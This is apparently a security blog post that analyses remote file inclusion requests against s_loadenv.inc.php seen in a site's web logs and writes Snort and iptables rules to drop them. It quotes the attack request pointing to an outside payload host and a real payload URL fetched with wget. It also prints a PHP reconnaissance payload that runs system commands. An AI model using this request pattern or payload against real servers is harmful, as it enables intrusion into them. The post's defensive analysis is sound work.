Russ also mentions the fwsnort --ipt-drop and --ipt-reject command line arguments that change the stance of fwsnort from a detection engine to a mechanism that can drop malicious packets before forwarding them to their intended target. Given that iptables is firewall, it runs inline to network traffic by definition, and therefore is in ideal position to respond in this way.

Analyzing and Preventing s_loadenv DOCUMENT_ROOT Attacks

NIST vulnerability database Over the past month, in my web logs for cipherdyne.{com,org} there have been suspicious web requests against the file s_loadenv.inc.php even though this file does not exist on cipherdyne.{com,org}. These web requests attempt to force the webserver to execute a malicious PHP script via a web link provided in the DOCUMENT_ROOT form parameter. The requests basically look like the following (shown here as strings split across the perl '.' operator so that browsing this page does not set off any IDS alarm bells): 'GET ' . '/some/path/s_loadenv.inc.php?DOCUMENT' . '_ROOT' . '=http' . '://badsite.com/some/evil/phptext??'. Fortunately, I don't run any PHP code at all even though my site has a WordPress theme - it's just plain HTML that is updated by a set of custom perl scripts when I make new blog postings or new software releases. So, my site is not vulnerable to attacks against unsafe DOCUMENT_ROOT handling, and we can concentrate on analyzing the exploit attempts to get more information.

First things first - a check of the NIST vulnerability database (NVD) does not turn up any CVE reference related to a PHP script named s_loadenv.inc.php, and even a Google code search for this file also leaves us empty handed. There have been vulnerabilities related to DOCUMENT_ROOT handling before (search the NVD for "DOCUMENT_ROOT"), but none of the descriptions appear to match the web requests I'm seeing. So, whatever software is potentially vulnerable to this attack, either it is probably not well known, or a CVE ID hasn't been created yet. Some site administrators seem to post their web logs on the Internet for all to see, and based on a Google search, my guess is that the exploit targets a piece of Russian CMS software that I won't name, but I did attempt to contact the vendor to notify them of the problem just in case they don't already know about it - they never responded. The attack is fairly widespread though - I have over 1500 such requests in my web logs in the past month - and given the fact that most of the requests concentrate on a specific area of my website, I would guess that this attack has been included within an automated attack (more on this below).

Now, let's get a bit more sophisticated. The web requests advertise the links to download exploit code, so I wrote a script (which you can download) called s_loadenv_recon.pl to parse the web requests and download the malicious software pointed to by the DOCUMENT_ROOT links. Typical usage is to search through the Apache access_log file for web requests that match the strings s_loadenv.inc.php, DOCUMENT_ROOT, and http:, and send these logs through the script like so: $ grep "s_loadenv.inc.php" /var/www/logs/access_log | grep "DOCUMENT_ROOT" | grep "http:" | ./s_loadenv_recon.pl
[+] 202.181.210.195
/fwknop/docs/SPA.html//s_loadenv.inc.php
http://www.ganzkoerperpflege.at/files/oye.txt?? (1)
--11:40:29-- http://www.ganzkoerperpflege.at/files/oye.txt??
=> `oye.txt??'
Resolving www.ganzkoerperpflege.at... 69.89.25.184
Connecting to www.ganzkoerperpflege.at|69.89.25.184|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 882 [text/plain]

0% [ ] 0 --.--K/s
100%[===========================================>] 882 --.--K/s

11:40:29 (115.56 MB/s) - `oye.txt??' saved [882/882]
The s_loadenv_recon.pl script uses wget to grab each of the exploit code links, and stores them in the local directory s_loadenv_recon/ according to the IP of the original web request (with the IP used as a new directory where the data is stored). After letting this script run, I have a total of 352 files to examine that were requested by 144 unique IP addresses. By using the GeoIP database via the geoiplookup tool, these IP addresses represent the following countries: $ cd s_loadenv_recon/
$ for f in *; do geoiplookup $f; done |sort |uniq |perl -p -i -e 's|^.*?:\s||'
AT, Austria
AU, Australia
BE, Belgium
BG, Bulgaria
BR, Brazil
CA, Canada
CH, Switzerland
CL, Chile
CN, China
CO, Colombia
CZ, Czech Republic
DE, Germany
DK, Denmark
ES, Spain
FR, France
GB, United Kingdom
HK, Hong Kong
HU, Hungary
IT, Italy
JP, Japan
KR, Korea, Republic of
KZ, Kazakhstan
MO, Macau
--, N/A
NL, Netherlands
PL, Poland
PT, Portugal
RU, Russian Federation
TH, Thailand
TR, Turkey
TW, Taiwan
UA, Ukraine
US, United States
VN, Vietnam
Now, for the exploit code files, most are not very interesting and just instruct the server to reveal detailed config or status information. For example, here is a snippet from a file named icon.jpg that really contains PHP code: echo "bsdcr3w";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "We was here ... and u no !!!<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
However, one file downloaded by the s_loadenv_recon.pl script contains some much more interesting code with support for logging into an IRC channel, sending email, conducting port scans, issuing TCP and UDP floods, and spawning connect-back shells. This code is associated with the pBot trojan, and is detected by Snort rule ID 2003208 in the Emerging Threats rule set. (I'm not going to post the pBot code here - email me privately if you have a security research interest in it.) Rule 2003208 checks for IRC communications associated with the pBot trojan, so it will not detect the web requests against the s_loadenv.inc.php script mentioned earlier. In terms of the attack, what has probably happened is that exploits for PHP vulnerabilities can sometimes interchanged, and one of the malicious web requests linked to exploit code for the pBot trojan after it was discovered that the Russian CMS software is vulnerable. The vast majority of the web requests linked to PHP code that is not associated with pBot.

In addition to analyzing the malicious s_loadenv.inc.php web requests, this blog post is also about preventing them even if they link to relatively benign PHP code, so let's first write a basic Snort rule to detect matching requests. Then we'll use fwsnort to translate this rule into an iptables rule that uses the DROP target to prevent any web requests that match the rule from reaching the targeted webserver. # cd /etc/fwsnort/snort_rules/
# cat > s_loadenv.rules
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"s_loadenv.inc.php DOCUMENT_ROOT attempt"; flow:established,to_server; uricontent:"/s_loadenv.inc.php?"; uricontent:"DOCUMENT_ROOT="; uricontent:"http://" classtype:web-application-attack; reference:url,www.cipherdyne.org/blog/2008/09/01.html; sid:20080001; rev:1;)
# fwsnort --include-type s_loadenv --ipt-drop > /dev/null
# /etc/fwsnort/fwsnort.sh
[+] Adding s_loadenv rules.
Rules added: 4
[+] Finished.
With the above commands executed, the FORWARD chain now contains the following two rules that LOG and DROP packets in established TCP connections with port 80 that match the strings described in rule 20080001 above. In closing, these rules are shown below. $IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 80 -m string --string "/s_loadenv.inc.php?" --algo bm -m string --string "DOCUMENT_ROOT=" --algo bm -m string --string "http://" --algo bm -m comment --comment "sid:20080001; msg:s_loadenv.inc.php DOCUMENT_ROOT attempt; classtype:web-application-attack; reference:url,www.cipherdyne.org/blog/2008/09/01.html; rev:1; FWS:1.0.5;" -j LOG --log-ip-options --log-tcp-options --log-prefix "[1] DRP SID20080001 ESTAB "
$IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 80 -m string --string "/s_loadenv.inc.php?" --algo bm -m string --string "DOCUMENT_ROOT=" --algo bm -m string --string "http://" --algo bm -j DROP
If you have any additional insight regarding the suspicious requests against the s_loadenv.inc.php script, please email me.

Next »